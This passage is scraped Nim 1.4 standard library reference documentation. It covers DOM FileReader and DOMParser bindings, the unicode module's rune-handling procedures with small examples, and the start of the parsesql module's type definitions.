[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1741) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1741) ``` proc readAsBinaryString(f: FileReader; b: Blob) {...}{. importcpp: "#.readAsBinaryString(#)".} ``` <https://developer.mozilla.org/en-US/docs/Web/API/FileReader/readAsBinaryString> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1743) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1743) ``` proc readAsDataURL(f: FileReader; b: Blob) {...}{.importcpp: "#.readAsDataURL(#)".} ``` <https://developer.mozilla.org/en-US/docs/Web/API/FileReader/readAsDataURL> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1745) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1745) ``` proc readAsText(f: FileReader; b: Blob; encoding = cstring"UTF-8") {...}{. importcpp: "#.readAsText(#, #)".} ``` <https://developer.mozilla.org/en-US/docs/Web/API/FileReader/readAsText> [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1747) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1747) Funcs ----- ``` func newDomParser(): DomParser {...}{.importcpp: "new DOMParser()".} ``` DOM Parser constructor. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1721) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1721) ``` func parseFromString(this: DomParser; str: cstring; mimeType: cstring): Document {...}{. importcpp.} ``` Parse from string to `Document`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1723) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1723) Converters ---------- ``` converter toString(s: Selection): cstring {...}{.importcpp.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/js/dom.nim#L1654) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/js/dom.nim#L1654)
programming_docs
nim unicode unicode ======= This module provides support to handle the Unicode UTF-8 encoding. There are no specialized `insert`, `delete`, `add` and `contains` procedures for `seq[Rune]` in this module because the generic variants of these procedures in the system module already work with it. The current version is compatible with Unicode v12.0.0. **See also:** * [strutils module](strutils) * [unidecode module](unidecode) * [encodings module](encodings) Types ----- ``` Rune = distinct RuneImpl ``` Type that can hold a single Unicode code point. A Rune may be composed with other Runes to a character on the screen. `RuneImpl` is the underlying type used to store Runes, currently `int32`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L27) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L27) Procs ----- ``` proc runeLen(s: string): int {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Returns the number of runes of the string `s`. **Example:** ``` let a = "añyóng" doAssert a.runeLen == 6 ## note: a.len == 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L35) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L35) ``` proc runeLenAt(s: string; i: Natural): int {...}{.raises: [], tags: [].} ``` Returns the number of bytes the rune starting at `s[i]` takes. See also: * [fastRuneAt template](#fastRuneAt.t,string,int,untyped) **Example:** ``` let a = "añyóng" doAssert a.runeLenAt(0) == 1 doAssert a.runeLenAt(1) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L54) ``` proc runeAt(s: string; i: Natural): Rune {...}{.raises: [], tags: [].} ``` Returns the rune in `s` at **byte index** `i`. See also: * [runeAtPos proc](#runeAtPos,string,int) * [runeStrAtPos proc](#runeStrAtPos,string,Natural) * [fastRuneAt template](#fastRuneAt.t,string,int,untyped) **Example:** ``` let a = "añyóng" doAssert a.runeAt(1) == "ñ".runeAt(0) doAssert a.runeAt(2) == "ñ".runeAt(1) doAssert a.runeAt(3) == "y".runeAt(0) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L152) ``` proc validateUtf8(s: string): int {...}{.raises: [], tags: [].} ``` Returns the position of the invalid byte in `s` if the string `s` does not hold valid UTF-8 data. Otherwise `-1` is returned. See also: * [toUTF8 proc](#toUTF8,Rune) * [$ proc](#%24,Rune) alias for `toUTF8` * [fastToUTF8Copy template](#fastToUTF8Copy.t,Rune,string,int) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L166) ``` proc toUTF8(c: Rune): string {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Converts a rune into its UTF-8 representation. See also: * [validateUtf8 proc](#validateUtf8,string) * [$ proc](#%24,Rune) alias for `toUTF8` * [utf8 iterator](#utf8.i,string) * [fastToUTF8Copy template](#fastToUTF8Copy.t,Rune,string,int) **Example:** ``` let a = "añyóng" doAssert a.runeAt(1).toUTF8 == "ñ" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L254) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L254) ``` proc add(s: var string; c: Rune) {...}{.raises: [], tags: [].} ``` Adds a rune `c` to a string `s`. **Example:** ``` var s = "abc" let c = "ä".runeAt(0) s.add(c) doAssert s == "abcä" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L269) ``` proc `$`(rune: Rune): string {...}{.raises: [], tags: [].} ``` An alias for [toUTF8](#toUTF8,Rune). See also: * [validateUtf8 proc](#validateUtf8,string) * [fastToUTF8Copy template](#fastToUTF8Copy.t,Rune,string,int) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L280) ``` proc `$`(runes: seq[Rune]): string {...}{.raises: [], tags: [].} ``` Converts a sequence of Runes to a string. See also: * [toRunes](#toRunes,string) for a reverse operation **Example:** ``` let someString = "öÑ" someRunes = toRunes(someString) doAssert $someRunes == someString ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L288) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L288) ``` proc runeOffset(s: string; pos: Natural; start: Natural = 0): int {...}{.raises: [], tags: [].} ``` Returns the byte position of rune at position `pos` in `s` with an optional start byte position. Returns the special value -1 if it runs out of the string. **Beware:** This can lead to unoptimized code and slow execution! Most problems can be solved more efficiently by using an iterator or conversion to a seq of Rune. See also: * [runeReverseOffset proc](#runeReverseOffset,string,Positive) **Example:** ``` let a = "añyóng" doAssert a.runeOffset(1) == 1 doAssert a.runeOffset(3) == 4 doAssert a.runeOffset(4) == 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L303) ``` proc runeReverseOffset(s: string; rev: Positive): (int, int) {...}{.raises: [], tags: [].} ``` Returns a tuple with the byte offset of the rune at position `rev` in `s`, counting from the end (starting with 1) and the total number of runes in the string. Returns a negative value for offset if there are to few runes in the string to satisfy the request. **Beware:** This can lead to unoptimized code and slow execution! Most problems can be solved more efficiently by using an iterator or conversion to a seq of Rune. See also: * [runeOffset proc](#runeOffset,string,Natural,Natural) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L330) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L330) ``` proc runeAtPos(s: string; pos: int): Rune {...}{.raises: [], tags: [].} ``` Returns the rune at position `pos`. **Beware:** This can lead to unoptimized code and slow execution! Most problems can be solved more efficiently by using an iterator or conversion to a seq of Rune. See also: * [runeAt proc](#runeAt,string,Natural) * [runeStrAtPos proc](#runeStrAtPos,string,Natural) * [fastRuneAt template](#fastRuneAt.t,string,int,untyped) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L360) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L360) ``` proc runeStrAtPos(s: string; pos: Natural): string {...}{.raises: [], tags: [].} ``` Returns the rune at position `pos` as UTF8 String. **Beware:** This can lead to unoptimized code and slow execution! Most problems can be solved more efficiently by using an iterator or conversion to a seq of Rune. See also: * [runeAt proc](#runeAt,string,Natural) * [runeAtPos proc](#runeAtPos,string,int) * [fastRuneAt template](#fastRuneAt.t,string,int,untyped) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L373) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L373) ``` proc runeSubStr(s: string; pos: int; len: int = int.high): string {...}{.raises: [], tags: [].} ``` Returns the UTF-8 substring starting at code point `pos` with `len` code points. If `pos` or `len` is negative they count from the end of the string. If `len` is not given it means the longest possible string. **Example:** ``` let s = "Hänsel ««: 10,00€" doAssert(runeSubStr(s, 0, 2) == "Hä") doAssert(runeSubStr(s, 10, 1) == ":") doAssert(runeSubStr(s, -6) == "10,00€") doAssert(runeSubStr(s, 10) == ": 10,00€") doAssert(runeSubStr(s, 12, 5) == "10,00") doAssert(runeSubStr(s, -6, 3) == "10,") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L387) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L387) ``` proc `<=%`(a, b: Rune): bool {...}{.raises: [], tags: [].} ``` Checks if code point of `a` is smaller or equal to code point of `b`. **Example:** ``` let a = "ú".runeAt(0) b = "ü".runeAt(0) doAssert a <=% b ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L434) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L434) ``` proc `<%`(a, b: Rune): bool {...}{.raises: [], tags: [].} ``` Checks if code point of `a` is smaller than code point of `b`. **Example:** ``` let a = "ú".runeAt(0) b = "ü".runeAt(0) doAssert a <% b ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L443) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L443) ``` proc `==`(a, b: Rune): bool {...}{.raises: [], tags: [].} ``` Checks if two runes are equal. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L452) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L452) ``` proc toLower(c: Rune): Rune {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Converts `c` into lower case. This works for any rune. If possible, prefer `toLower` over `toUpper`. See also: * [toUpper proc](#toUpper,Rune) * [toTitle proc](#toTitle,Rune) * [isLower proc](#isLower,Rune) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L474) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L474) ``` proc toUpper(c: Rune): Rune {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Converts `c` into upper case. This works for any rune. If possible, prefer `toLower` over `toUpper`. See also: * [toLower proc](#toLower,Rune) * [toTitle proc](#toTitle,Rune) * [isUpper proc](#isUpper,Rune) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L492) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L492) ``` proc toTitle(c: Rune): Rune {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Converts `c` to title case. See also: * [toLower proc](#toLower,Rune) * [toUpper proc](#toUpper,Rune) * [isTitle proc](#isTitle,Rune) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L510) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L510) ``` proc isLower(c: Rune): bool {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Returns true if `c` is a lower case rune. If possible, prefer `isLower` over `isUpper`. See also: * [toLower proc](#toLower,Rune) * [isUpper proc](#isUpper,Rune) * [isTitle proc](#isTitle,Rune) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L523) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L523) ``` proc isUpper(c: Rune): bool {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Returns true if `c` is a upper case rune. If possible, prefer `isLower` over `isUpper`. See also: * [toUpper proc](#toUpper,Rune) * [isLower proc](#isLower,Rune) * [isTitle proc](#isTitle,Rune) * [isAlpha proc](#isAlpha,Rune) * [isWhiteSpace proc](#isWhiteSpace,Rune) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L541) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L541) ``` proc isAlpha(c: Rune): bool {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Returns true if `c` is an *alpha* rune (i.e., a letter). See also: * [isLower proc](#isLower,Rune) * [isTitle proc](#isTitle,Rune) * [isAlpha proc](#isAlpha,Rune) * [isWhiteSpace proc](#isWhiteSpace,Rune) * [isCombining proc](#isCombining,Rune) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L561) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L561) ``` proc isTitle(c: Rune): bool {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Returns true if `c` is a Unicode titlecase code point. See also: * [toTitle proc](#toTitle,Rune) * [isLower proc](#isLower,Rune) * [isUpper proc](#isUpper,Rune) * [isAlpha proc](#isAlpha,Rune) * [isWhiteSpace proc](#isWhiteSpace,Rune) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L580) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L580) ``` proc isWhiteSpace(c: Rune): bool {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Returns true if `c` is a Unicode whitespace code point. See also: * [isLower proc](#isLower,Rune) * [isUpper proc](#isUpper,Rune) * [isTitle proc](#isTitle,Rune) * [isAlpha proc](#isAlpha,Rune) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L591) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L591) ``` proc isCombining(c: Rune): bool {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Returns true if `c` is a Unicode combining code unit. See also: * [isLower proc](#isLower,Rune) * [isUpper proc](#isUpper,Rune) * [isTitle proc](#isTitle,Rune) * [isAlpha proc](#isAlpha,Rune) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L604) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L604) ``` proc isAlpha(s: string): bool {...}{.noSideEffect, gcsafe, extern: "nuc$1Str", raises: [], tags: [].} ``` Returns true if `s` contains all alphabetic runes. **Example:** ``` let a = "añyóng" doAssert a.isAlpha ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L631) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L631) ``` proc isSpace(s: string): bool {...}{.noSideEffect, gcsafe, extern: "nuc$1Str", raises: [], tags: [].} ``` Returns true if `s` contains all whitespace runes. **Example:** ``` let a = "\t\l \v\r\f" doAssert a.isSpace ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L639) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L639) ``` proc toUpper(s: string): string {...}{.noSideEffect, gcsafe, extern: "nuc$1Str", raises: [], tags: [].} ``` Converts `s` into upper-case runes. **Example:** ``` doAssert toUpper("abγ") == "ABΓ" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L660) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L660) ``` proc toLower(s: string): string {...}{.noSideEffect, gcsafe, extern: "nuc$1Str", raises: [], tags: [].} ``` Converts `s` into lower-case runes. **Example:** ``` doAssert toLower("ABΓ") == "abγ" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L667) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L667) ``` proc swapCase(s: string): string {...}{.noSideEffect, gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Swaps the case of runes in `s`. Returns a new string such that the cases of all runes are swapped if possible. **Example:** ``` doAssert swapCase("Αlpha Βeta Γamma") == "αLPHA βETA γAMMA" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L674) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L674) ``` proc capitalize(s: string): string {...}{.noSideEffect, gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Converts the first character of `s` into an upper-case rune. **Example:** ``` doAssert capitalize("βeta") == "Βeta" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L696) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L696) ``` proc translate(s: string; replacements: proc (key: string): string): string {...}{. gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Translates words in a string using the `replacements` proc to substitute words inside `s` with their replacements. `replacements` is any proc that takes a word and returns a new word to fill it's place. **Example:** ``` proc wordToNumber(s: string): string = case s of "one": "1" of "two": "2" else: s let a = "one two three four" doAssert a.translate(wordToNumber) == "1 2 three four" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L710) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L710) ``` proc title(s: string): string {...}{.noSideEffect, gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Converts `s` to a unicode title. Returns a new string such that the first character in each word inside `s` is capitalized. **Example:** ``` doAssert title("αlpha βeta γamma") == "Αlpha Βeta Γamma" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L763) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L763) ``` proc toRunes(s: string): seq[Rune] {...}{.raises: [], tags: [].} ``` Obtains a sequence containing the Runes in `s`. See also: * [$ proc](#%24,seq%5BT%5D%5BRune%5D) for a reverse operation **Example:** ``` let a = toRunes("aáä") doAssert a == @["a".runeAt(0), "á".runeAt(0), "ä".runeAt(0)] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L812) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L812) ``` proc cmpRunesIgnoreCase(a, b: string): int {...}{.gcsafe, extern: "nuc$1", raises: [], tags: [].} ``` Compares two UTF-8 strings and ignores the case. Returns:0 if a == b < 0 if a < b > 0 if a > b [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L825) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L825) ``` proc reversed(s: string): string {...}{.raises: [], tags: [].} ``` Returns the reverse of `s`, interpreting it as runes. Unicode combining characters are correctly interpreted as well. **Example:** ``` assert reversed("Reverse this!") == "!siht esreveR" assert reversed("先秦兩漢") == "漢兩秦先" assert reversed("as⃝df̅") == "f̅ds⃝a" assert reversed("a⃞b⃞c⃞") == "c⃞b⃞a⃞" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L842) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L842) ``` proc graphemeLen(s: string; i: Natural): Natural {...}{.raises: [], tags: [].} ``` The number of bytes belonging to byte index `s[i]`, including following combining code unit. **Example:** ``` let a = "añyóng" doAssert a.graphemeLen(1) == 2 ## ñ doAssert a.graphemeLen(2) == 1 doAssert a.graphemeLen(4) == 2 ## ó ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L877) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L877) ``` proc lastRune(s: string; last: int): (Rune, int) {...}{.raises: [], tags: [].} ``` Length of the last rune in `s[0..last]`. Returns the rune and its length in bytes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L896) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L896) ``` proc size(r: Rune): int {...}{.noSideEffect, raises: [], tags: [].} ``` Returns the number of bytes the rune `r` takes. **Example:** ``` let a = toRunes "aá" doAssert size(a[0]) == 1 doAssert size(a[1]) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L908) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L908) ``` proc splitWhitespace(s: string): seq[string] {...}{.noSideEffect, gcsafe, extern: "ncuSplitWhitespace", raises: [], tags: [].} ``` The same as the [splitWhitespace](#splitWhitespace.i,string) iterator, but is a proc that returns a sequence of substrings. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L1005) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L1005) ``` proc split(s: string; seps: openArray[Rune] = unicodeSpaces; maxsplit: int = -1): seq[ string] {...}{.noSideEffect, gcsafe, extern: "nucSplitRunes", raises: [], tags: [].} ``` The same as the [split iterator](#split.i,string,openArray%5BRune%5D,int), but is a proc that returns a sequence of substrings. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L1037) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L1037) ``` proc split(s: string; sep: Rune; maxsplit: int = -1): seq[string] {...}{. noSideEffect, gcsafe, extern: "nucSplitRune", raises: [], tags: [].} ``` The same as the [split iterator](#split.i,string,Rune,int), but is a proc that returns a sequence of substrings. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L1043) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L1043) ``` proc strip(s: string; leading = true; trailing = true; runes: openArray[Rune] = unicodeSpaces): string {...}{.noSideEffect, gcsafe, extern: "nucStrip", raises: [], tags: [].} ``` Strips leading or trailing `runes` from `s` and returns the resulting string. If `leading` is true (default), leading `runes` are stripped. If `trailing` is true (default), trailing `runes` are stripped. If both are false, the string is returned unchanged. **Example:** ``` let a = "\táñyóng " doAssert a.strip == "áñyóng" doAssert a.strip(leading = false) == "\táñyóng" doAssert a.strip(trailing = false) == "áñyóng " ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L1049) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L1049) ``` proc repeat(c: Rune; count: Natural): string {...}{.noSideEffect, gcsafe, extern: "nucRepeatRune", raises: [], tags: [].} ``` Returns a string of `count` Runes `c`. The returned string will have a rune-length of `count`. **Example:** ``` let a = "ñ".runeAt(0) doAssert a.repeat(5) == "ñññññ" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L1106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L1106) ``` proc align(s: string; count: Natural; padding = ' '.Rune): string {...}{. noSideEffect, gcsafe, extern: "nucAlignString", raises: [], tags: [].} ``` Aligns a unicode string `s` with `padding`, so that it has a rune-length of `count`. `padding` characters (by default spaces) are added before `s` resulting in right alignment. If `s.runelen >= count`, no spaces are added and `s` is returned unchanged. If you need to left align a string use the [alignLeft proc](#alignLeft,string,Natural). **Example:** ``` assert align("abc", 4) == " abc" assert align("a", 0) == "a" assert align("1232", 6) == " 1232" assert align("1232", 6, '#'.Rune) == "##1232" assert align("Åge", 5) == " Åge" assert align("×", 4, '_'.Rune) == "___×" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L1120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L1120) ``` proc alignLeft(s: string; count: Natural; padding = ' '.Rune): string {...}{. noSideEffect, raises: [], tags: [].} ``` Left-aligns a unicode string `s` with `padding`, so that it has a rune-length of `count`. `padding` characters (by default spaces) are added after `s` resulting in left alignment. If `s.runelen >= count`, no spaces are added and `s` is returned unchanged. If you need to right align a string use the [align proc](#align,string,Natural). **Example:** ``` assert alignLeft("abc", 4) == "abc " assert alignLeft("a", 0) == "a" assert alignLeft("1232", 6) == "1232 " assert alignLeft("1232", 6, '#'.Rune) == "1232##" assert alignLeft("Åge", 5) == "Åge " assert alignLeft("×", 4, '_'.Rune) == "×___" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L1147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L1147) Iterators --------- ``` iterator runes(s: string): Rune {...}{.raises: [], tags: [].} ``` Iterates over any rune of the string `s` returning runes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L789) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L789) ``` iterator utf8(s: string): string {...}{.raises: [], tags: [].} ``` Iterates over any rune of the string `s` returning utf8 values. See also: * [validateUtf8 proc](#validateUtf8,string) * [toUTF8 proc](#toUTF8,Rune) * [$ proc](#%24,Rune) alias for `toUTF8` * [fastToUTF8Copy template](#fastToUTF8Copy.t,Rune,string,int) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L798) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L798) ``` iterator split(s: string; seps: openArray[Rune] = unicodeSpaces; maxsplit: int = -1): string {...}{.raises: [], tags: [].} ``` Splits the unicode string `s` into substrings using a group of separators. Substrings are separated by a substring containing only `seps`. ``` for word in split("this\lis an\texample"): writeLine(stdout, word) ``` ...generates this output: ``` "this" "is" "an" "example" ``` And the following code: ``` for word in split("this:is;an$example", {';', ':', '$'}): writeLine(stdout, word) ``` ...produces the same output as the first example. The code: ``` let date = "2012-11-20T22:08:08.398990" let separators = {' ', '-', ':', 'T'} for number in split(date, separators): writeLine(stdout, number) ``` ...results in: ``` "2012" "11" "20" "22" "08" "08.398990" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L953) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L953) ``` iterator splitWhitespace(s: string): string {...}{.raises: [], tags: [].} ``` Splits a unicode string at whitespace runes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L997) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L997) ``` iterator split(s: string; sep: Rune; maxsplit: int = -1): string {...}{.raises: [], tags: [].} ``` Splits the unicode string `s` into substrings using a single separator. Substrings are separated by the rune `sep`. The code: ``` for word in split(";;this;is;an;;example;;;", ';'): writeLine(stdout, word) ``` Results in: ``` "" "" "this" "is" "an" "" "example" "" "" "" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L1011) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L1011) Templates --------- ``` template fastRuneAt(s: string; i: int; result: untyped; doInc = true) ``` Returns the rune `s[i]` in `result`. If `doInc == true` (default), `i` is incremented by the number of bytes that have been processed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L74) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L74) ``` template fastToUTF8Copy(c: Rune; s: var string; pos: int; doInc = true) ``` Copies UTF-8 representation of `c` into the preallocated string `s` starting at position `pos`. If `doInc == true` (default), `pos` is incremented by the number of bytes that have been processed. To be the most efficient, make sure `s` is preallocated with an additional amount equal to the byte length of `c`. See also: * [validateUtf8 proc](#validateUtf8,string) * [toUTF8 proc](#toUTF8,Rune) * [$ proc](#%24,Rune) alias for `toUTF8` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/unicode.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/unicode.nim#L197)
programming_docs
nim parsesql parsesql ======== The `parsesql` module implements a high performance SQL file parser. It parses PostgreSQL syntax and the SQL ANSI standard. Unstable API. Imports ------- <strutils>, <lexbase>, <streams> Types ----- ``` SqlLexer = object of BaseLexer filename: string ``` the parser object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsesql.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsesql.nim#L47) ``` SqlNodeKind = enum nkNone, nkIdent, nkQuotedIdent, nkStringLit, nkBitStringLit, nkHexStringLit, nkIntegerLit, nkNumericLit, nkPrimaryKey, nkForeignKey, nkNotNull, nkNull, nkStmtList, nkDot, nkDotDot, nkPrefix, nkInfix, nkCall, nkPrGroup, nkColumnReference, nkReferences, nkDefault, nkCheck, nkConstraint, nkUnique, nkIdentity, nkColumnDef, ## name, datatype, constraints nkInsert, nkUpdate, nkDelete, nkSelect, nkSelectDistinct, nkSelectColumns, nkSelectPair, nkAsgn, nkFrom, nkFromItemPair, nkGroup, nkLimit, nkHaving, 